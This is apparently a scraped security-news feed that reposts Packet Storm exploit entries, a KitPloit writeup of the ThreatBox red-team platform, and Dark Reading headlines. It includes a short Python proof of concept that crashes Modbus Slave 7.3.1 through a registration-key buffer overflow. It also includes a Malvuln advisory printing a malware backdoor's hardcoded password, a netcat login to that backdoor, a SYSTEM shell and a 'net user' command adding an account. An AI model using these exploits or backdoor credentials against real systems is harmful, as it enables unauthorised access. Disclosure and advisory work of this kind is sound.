Exploit Collector
Modbus Slave 7.3.1 Buffer Overflow

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
Modbus Slave version 7.3.1 suffers from a buffer overflow vulnerability.

MD5 | 2313266d714dc2afae0ad0a7f7ba102f

Download
Vendor has been notified and fixed
https://www.modbustools.com/ModSlaveChangeLog.txt

tested on: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64

# Steps to reproduce:
# 1. - Download and install Modbus Slave
# 2. - Run the python script and it will create modbus.txt file.
# 3. - Modbus Slave 7.3.1 < 7.4.2
# 4. - Connection -> Connect
# 5. - Paste the characters of txt file to Registration Key
# 6. - press "ok" button
# 7. - Crashed

#!/usr/bin/python

exploit = 'A' * 736

try:
file = open("Modbus.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC not created")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
PrintNightmare Vulnerability

https://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png
Whitepaper called PrintNightmare Vulnerability. This document illustrates the exploitation of the vulnerability found in the Windows spooler service. Originally thought to be a local privilege escalation vulnerability in the Windows Print Spooler, identified as CVE-2021-1675 and patched during Microsoft's June Patch. Microsoft increased the severity of this issue on June 21 as well as reclassifying it as a 'remote code execution' (RCE) threat. This RCE vulnerability has been assigned a new identifier, CVE-2021-34527.

MD5 | abd7ef242b6bd0fffaf67005b519a4bd

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OX App Suite / Ox Documents 7.10.x XSS / Code Injection / Traversal

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ionic Identity Vault 5.0.4 PIN Unlock Lockout Bypass

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Wollf.h Hardcoded Password

https://2.bp.blogspot.com/-4wIBcK0z7y4/WWlvHXARtRI/AAAAAAAAILc/wzdKaT4lYrUxiztYZaNra08YExR9F67-wCLcBGAs/s1600/h14.png
Backdoor.Win32.Wollf.h malware suffers from a hard-coded password vulnerability.

MD5 | ce4439da8c5394978dd0ab078ec19349

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5494b78dcfaf16aa43b5dbd563dc5582.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.h
Vulnerability: Hardcoded Cleartext Password
Description: The malware listens on TCP port 7300 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "grish5800" is hardcoded within the executable. The malware is packed with UPX and exposes the cleartext credentials when decompressed.
Type: PE32
MD5: 5494b78dcfaf16aa43b5dbd563dc5582
Vuln ID: MVID-2021-0405
Dropped files: asphelp.exe
Disclosure: 11/21/2021

Exploit/PoC:
nc64.exe x.x.x.x 7300

login: grish5800

Login succeed!

"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#DOS

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>net user MALVULN 666 /add
net user MALVULN 666 /add
The command completed successfully.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Wipro Holmes Orchestrator 20.4.1 File Disclosure

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
ThreatBox - A Standard And Controlled Linux Based Attack Platform

https://blogger.googleusercontent.com/img/a/AVvXsEgRobES1W6DgyKwt2Nob5ffeRkoRwiA7-Jqan0YkieJ0solg_MJ_Ay5fdyne2InOvczfnTo8euCIfuGJ66-XfbYdvbaLR8i7vfWC1pqBhlVkmEz-385Kx7Hi8_P9jn4nGyFa-HMcOOiyypwYxdBF2XQ9SFY96UlclINZMsD3jpDO6nsA9G3OOYmizu3sg=w640-h392 ThreatBox is a standard and controlled Linux based attack platform. I've used a version of this for years. It started as a collection of scripts, lived as a rolling virtual machine, existed as code to build a Linux ISO, and has now been converted to a set of ansible playbooks. Why Ansible? Why not? This seemed to be the next natural evolution to the configuration of standard attack platforms.

This project uses ansible playbooks and roles to perform post deployment configuration on a linux target (Tested on Ubuntu 18.04).

The project is designed to be used as a starter process in creating, managing, and using a standard attack platform for red teaming or penetration testing.

Detail on the concept of a Standard Attack Platform can be found it the book Red Team Development and Operations - A practical guide, written by Joe Vest and James Tubberville. Features* Standard tools defined as ansible roles
* Customizations designed to make security testing easier
* Variable list to add or remove git repositories, OS packages, or python modules. (threatbox.yml)
* Version tracking of the deployed instance version and the deploy tool version. This is helpful it meeting compliance rules and can help minimize fear by actively tracking all tools.
* Threatbox version created at deployment and displayed in desktop wallpaper
* Deployed software tracked in ~/Desktop/readme

* SSH port auto-switching. The deployment starts on port 22, but reconfigures the target system to the desired SSH port using the ansible_portvariable in threatbox.yml* Download and compile several .net toolkits (i.e. SeatBelt.exe from Ghostpack https://github.com/GhostPack/Seatbelt)
* Most python projects installed using pipenv. Use pipenv shellin the project directory to access. See https://realpython.com/pipenv-guide/ for pipenv usage guidance Project FilesThe following list highlights key components of this project.
File/DirectoryDescriptionUsagehostAnsible hosts fileUpdate with IP addresses of target ansible systemsgroup_vars/threatbox.ymlcommon variablesvariable used for the project. update as needed.threatbox_playbox.ymlPrimary ansible playbookUpdate as need to add additional roles or featuresroles/commonCommon OS platform configurationSetup common OS settings (i.e set version in background or build)roles/.other specific roles to configure or deploy toolsadd or modify roles in roles/ QuickstartProvisionProvision one or more targets.

Note: This project was tested on Ubuntu 18.04 deployed in Digitalocean Configuration1. Copy hosts.sampleto hosts2. Edit hostswith the IP(s) of your target systems
3. Copy group_vars\threatbox.yml.sampleto group_vars\threatbox.yml4. Edit group_vars\threatbox.ymlwith the updated variables you would like to use
* Don't forget to update SSH key with a key that has access to the remote target Ansible commands# OSX issue https://github.com/ansible/ansible/issues/32499
if [[ "$(uname)" == "Darwin" ]]
then
export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=yes;
fi

# Ansible Logging
rm ./ansible.log
export ANSIBLE_LOG_PATH="ansible.log"

# Ansible Debugging
export ANSIBLE_DEBUG=False

# Execute playbook
ansible-playbook -e ansible_python_interpreter=/usr/bin/python3 -i hosts threatbox_playbook.yml Note: Consider using Mitogen for Ansible to gain a significant performance boost. https://mitogen.networkgenom[...]

___________________________
@hacking_Attack
@Hacking_Video

ics.com/ansible_detailed.html Tested with this ansible.cfg[defaults]
host_key_checking = False
pipelining = True
forks = 100
timeout = 600
stdout_callback = yaml
bin_ansible_callbacks = True
callback_whitelist = profile_roles, profile_tasks, timer

#mitogen
strategy_plugins = ~/Documents/mitogen-0.2.9/ansible_mitogen/plugins/strategy
strategy = mitogen_linear Remotely Access the systemConsole access with SSHNote: SSH may be set to a non-standard port during setup. This value is set in the group_vars/threatbox.ymlfiles threatboxip=10.10.10.10
sshport=52222
ssh -p $sshport -i ~/.ssh/threatbox_id_rsa root@$threatboxip GUI Access with VNC over SSHNote: VNC is setup but not allowed over the network. You must use an SSH tunnel to access. threatboxip=10.10.10.10
sshport=52222
ssh -p $sshport -i ~/.ssh/threatbox_id_rsa -L 5901:localhost:5901 root@$threatboxip Notes on the projectThis project uses ansbile roles. These roles may not exactly follow the ansible style. They were designed to be used as part of this project and use a single 'variable' file to control the project. The roles can easily be used in other project with minor tweaks. FeaturesThreatBox Custom Commands https://blogger.googleusercontent.com/img/a/AVvXsEivvIysUdsh9aJooEws9pZrWXvbdks_z7nnitLeeUmuVnl-xRsAW96_B64btF5SJS-d3AfDgMlL_R4mSAP3FZvWVpCMx_Jx0ILw7HQymB8JwAXlCOsjDPElykv5ybat5hExMRFjR4kU-B68tK7eh1hcC2Jrloe-BPVadUFrefUo1NJUq_4_ZKoCHcirGg=w640-h458 Tool Categories https://blogger.googleusercontent.com/img/a/AVvXsEjkGTLMrVeq48Kqr5EwQnQc_BNRNwA_F9EGOSKpLNqmiyGd1uhTMqWMivwfC1-x4wZCrqLW4ztPpFFrOp7zlYYl-nlZLcd-a1V5cNC_JuexI9gyyJSLU8SNoLGxSjdBHlR2B4AITju63Yp0XHtHvAmDl7Dj5bvqtz1ZZ7vz8GlD_x_z7X6mqXryVsEyxA=w640-h270 Tracking of all installed tools https://blogger.googleusercontent.com/img/a/AVvXsEglsEAE8hNxhHpa9-rfbLP0XLI2rUg74YyipeZ_mTd4H0YKrVG7YWETyAVgdNPCFymlUzCwJMNLGnV8t_oHYiq1DNijY_IH6RZY_kTOD_Zp16mYum2x5J6MbhzR32Z95ebn8tJHsahusgPakCOh4VNz7BCCUqus_T21GPTq3vf8hPIAn-_uAUQrTGDZNg=w640-h356 Automatic terminal logging https://blogger.googleusercontent.com/img/a/AVvXsEhGeb-u7ier9WMGtF-n2rzx9yWrt2az6naSQEGUhnYcbjHcr1OZDCAIFQ1mohMdQTTtP29MxIKsWIheE1IIFvOKiFZwajR7_P_CCFe6ZOIYF4ql2gw4FB2gMoNgPVOzXeAL3AN5oIgr2aYm-FWnWl4Gfq8HPqgva_kVyC-Z16sy_8h38WOPMxLWuajTSA=w640-h244 Custom terminal options provide more context https://blogger.googleusercontent.com/img/a/AVvXsEgqF0QWjw91_twXViqmFM2qRZFUnZfneW5zWXfvfhB_r_Km4kUy2vYbNt56ZAtGU4nFZpoNE0jQM3-yL5_aUk0Vb0WdM7ZlwSMdG2J636u5iMNQikBLqzgUQ_7aY77246JtO8d2CS74VvlHZN1oSyweDrWqq3Ap8lUMjpjFVkC3Yw-ZnUsxEpnw4DlKAA=w640-h248 Light version of the terminal

Pipenv keep Python projects independent https://blogger.googleusercontent.com/img/a/AVvXsEg1aFsbPe-cnhEsuDzbJ9-Fwm6SaRq2Xig7g_wWNKT4ZDVMCUS-Zg1a1jA1K8lNheP1fGLXG9QoVwzw8iQ4V3s24inXk56xS_hlkHdmDChQI86DXEQKeEfhWP4OfU2JWjPI9b87RfMJt4CaTBv1epQVHRqb1CTXjG8TomtOW4zrYNqfDVEJPbd1x7iwFQ=w640-h40 Example of SilentTrinity running in pipenv environment https://blogger.googleusercontent.com/img/a/AVvXsEh9bpESOyPjiyIIHdTmzW9PTz3Nan0l2Z5OU3EZ7YJFt6IsaCkYJ2o-F8vW482JQ5qu0H3uwO9LtWcS1dppBmgGzgIBd0D4yUIH0HOh49ulpVMHRwUvGwjSR8Vbilrz4OqgrENg-RH4_IIO0hRtcAifm4YLIX26uyK2oSip87tm8-w19Xog0EIqftVESA=w640-h292 Download Threatbox

___________________________
@hacking_Attack
@Hacking_Video

Protecting Yourself From Deceptive Bug Bounty Programs and Deceptive Scopes/Targets

The Theoretical Attack on the Researchers ThemselvesContinue reading on Medium »
Read more...

Dark Reading: Attacks/Breaches
10 Stocking Stuffers for Security Geeks

Check out our list of gifts with a big impact for hackers and other techie security professionals.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Bug Bounties Surge as Firms Compete for Talent

Companies such as GItLab, which today increased its payment for critical bugs by 75%, are raising bounties and bonuses to attract top-notch researchers.

Dark Reading: Attacks/Breaches
CISA Urges Critical Infrastructure to Be Alert for Holiday Threats

CISA and the FBI share steps organizations should take to better protect against security threats during holidays and weekends.

___________________________
@hacking_Attack
@Hacking_Video